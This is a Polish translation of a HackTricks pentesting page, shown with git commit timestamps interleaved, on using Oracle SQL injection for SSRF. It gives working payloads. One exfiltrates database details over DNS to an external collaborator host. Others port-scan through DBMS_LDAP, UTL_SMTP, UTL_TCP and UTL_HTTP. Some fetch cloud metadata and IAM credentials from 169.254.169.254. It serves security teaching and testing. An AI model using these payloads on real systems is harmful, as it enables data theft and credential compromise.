hacktricks/pentesting-web/sql-injection/oracle-injection.md

170 lines
10 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# Wstrzykiwanie Oracle
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
**Podaj ten post jako kopię usuniętego postu z [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
2024-02-06 03:10:27 +00:00
## SSRF
2024-02-11 01:46:25 +00:00
Używanie Oracle do wykonywania żądań HTTP i DNS poza pasmem jest dobrze udokumentowane, ale jako sposób na wyciek danych SQL w wstrzykiwaniu. Zawsze możemy zmodyfikować te techniki/funkcje, aby wykonywać inne ataki SSRF/XSPA.
2024-02-11 01:46:25 +00:00
Instalacja Oracle może być bardzo bolesna, zwłaszcza jeśli chcesz szybko skonfigurować instancję do wypróbowania poleceń. Mój przyjaciel i kolega z [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), polecił mi [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), co pozwoliło mi skonfigurować instancję na maszynie Ubuntu AWS t2.large za pomocą Dockera.
2024-02-11 01:46:25 +00:00
Uruchomiłem polecenie docker z flagą `--network="host"`, aby móc udawać Oracle jako natywną instalację z pełnym dostępem do sieci, na potrzeby tego wpisu na blogu.
```
2024-02-11 01:46:25 +00:00
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
2024-02-11 01:46:25 +00:00
#### Pakiety Oracle obsługujące specyfikację URL lub nazwę hosta/numer portu <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
2024-02-11 01:46:25 +00:00
Aby znaleźć jakiekolwiek pakiety i funkcje obsługujące specyfikację hosta i numeru portu, przeprowadziłem wyszukiwanie w [Dokumentacji online bazy danych Oracle](https://docs.oracle.com/database/121/index.html). Konkretnie,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
2024-02-11 01:46:25 +00:00
Wyniki wyszukiwania zwróciły następujące rezultaty (nie wszystkie można wykorzystać do wykonywania sieciowych żądań wychodzących):
2021-11-30 16:46:07 +00:00
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
2024-02-11 01:46:25 +00:00
Ta prymitywna metoda wyszukiwania oczywiście pomija pakiety takie jak `DBMS_LDAP` (które umożliwiają przekazywanie nazwy hosta i numeru portu), ponieważ [strona dokumentacji](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) po prostu przekierowuje do [innego miejsca](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Dlatego istnieją inne pakiety Oracle, które mogą być wykorzystane do wykonywania żądań wychodzących, które mogłem przeoczyć.
2024-02-11 01:46:25 +00:00
W każdym przypadku, przyjrzyjmy się niektórym z pakietów, które odkryliśmy i wymieniliśmy powyżej.
2021-11-30 16:46:07 +00:00
**DBMS\_LDAP.INIT**
2024-02-11 01:46:25 +00:00
Pakiet `DBMS_LDAP` umożliwia dostęp do danych z serwerów LDAP. Funkcja `init()` inicjalizuje sesję z serwerem LDAP i przyjmuje nazwę hosta i numer portu jako argument.
2024-02-11 01:46:25 +00:00
Ta funkcja została już udokumentowana w celu pokazania wycieku danych za pomocą DNS, jak poniżej
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
2024-02-11 01:46:25 +00:00
Jednakże, biorąc pod uwagę, że funkcja akceptuje argumenty w postaci nazwy hosta i numeru portu, można jej również użyć jako skanera portów.
2024-02-11 01:46:25 +00:00
Oto kilka przykładów:
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
2024-02-11 01:46:25 +00:00
Błąd `ORA-31203: DBMS_LDAP: PL/SQL - Inicjalizacja nie powiodła się.` oznacza, że port jest zamknięty, podczas gdy wartość sesji wskazuje na otwarty port.
2021-11-30 16:46:07 +00:00
**UTL\_SMTP**
2024-02-11 01:46:25 +00:00
Pakiet `UTL_SMTP` jest przeznaczony do wysyłania wiadomości e-mail za pomocą protokołu SMTP. Przykład dostarczony na [stronie dokumentacji Oracle](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478) pokazuje, jak można użyć tego pakietu do wysyłania wiadomości e-mail. Dla nas jednak interesujące jest możliwość podania hosta i portu.
2024-02-11 01:46:25 +00:00
Poniżej przedstawiono przykład z użyciem funkcji `UTL_SMTP.OPEN_CONNECTION` z timeoutem 2 sekundy.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
2024-02-11 01:46:25 +00:00
`ORA-29276: transfer timeout` oznacza, że port jest otwarty, ale nie ustanowiono połączenia SMTP, podczas gdy `ORA-29278: SMTP transient error: 421 Service not available` oznacza, że port jest zamknięty.
2021-11-30 16:46:07 +00:00
**UTL\_TCP**
2024-02-11 01:46:25 +00:00
Pakiet `UTL_TCP` oraz jego procedury i funkcje umożliwiają komunikację opartą na protokole TCP/IP z usługami. Jeśli zostanie zaprogramowany dla konkretnej usługi, ten pakiet może stać się łatwym sposobem na dostanie się do sieci lub wykonywanie pełnych żądań po stronie serwera, ponieważ można kontrolować wszystkie aspekty połączenia TCP/IP.
2024-02-11 01:46:25 +00:00
Przykład na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do nawiązania surowego połączenia TCP w celu pobrania strony internetowej. Możemy to jeszcze bardziej uprościć i użyć go do wysyłania żądań do instancji metadanych na przykład lub do dowolnej usługi TCP/IP.
```
set serveroutput on size 30000;
2024-02-11 01:46:25 +00:00
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
2024-02-11 01:46:25 +00:00
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
2024-02-11 01:46:25 +00:00
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
2024-02-11 01:46:25 +00:00
retval pls_integer;
BEGIN
2024-02-11 01:46:25 +00:00
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
2024-02-11 01:46:25 +00:00
Interesująco, dzięki możliwości tworzenia surowych żądań TCP, ten pakiet może również być używany do zapytania usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP.
2024-02-11 01:46:25 +00:00
**UTL\_HTTP i żądania sieciowe**
2024-02-11 01:46:25 +00:00
Najbardziej powszechną i szeroko udokumentowaną techniką w każdym samouczku dotyczącym Oracle SQL Injection jest pakiet [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Ten pakiet jest zdefiniowany w dokumentacji jako - `Pakiet UTL_HTTP umożliwia wywoływanie protokołu HTTP (Hypertext Transfer Protocol) z poziomu SQL i PL/SQL. Można go używać do dostępu do danych w Internecie za pośrednictwem protokołu HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
2024-02-11 01:46:25 +00:00
Możesz dodatkowo użyć tego do wykonania podstawowego skanowania portów za pomocą zapytań takich jak:
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
2024-02-11 01:46:25 +00:00
Błąd `ORA-12541: TNS:no listener` lub `TNS:operation timed out` oznacza, że port TCP jest zamknięty, podczas gdy błąd `ORA-29263: HTTP protocol error` lub dane są oznaką otwartego portu.
2024-02-11 01:46:25 +00:00
Innym pakietem, który używałem w przeszłości z różnymi sukcesami, jest [`GETCLOB()` metoda abstrakcyjnego typu Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705), która umożliwia interakcję z adresem URL i obsługuje protokół HTTP. Metoda `GETCLOB()` służy do pobierania odpowiedzi GET z adresu URL jako [typ danych CLOB](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>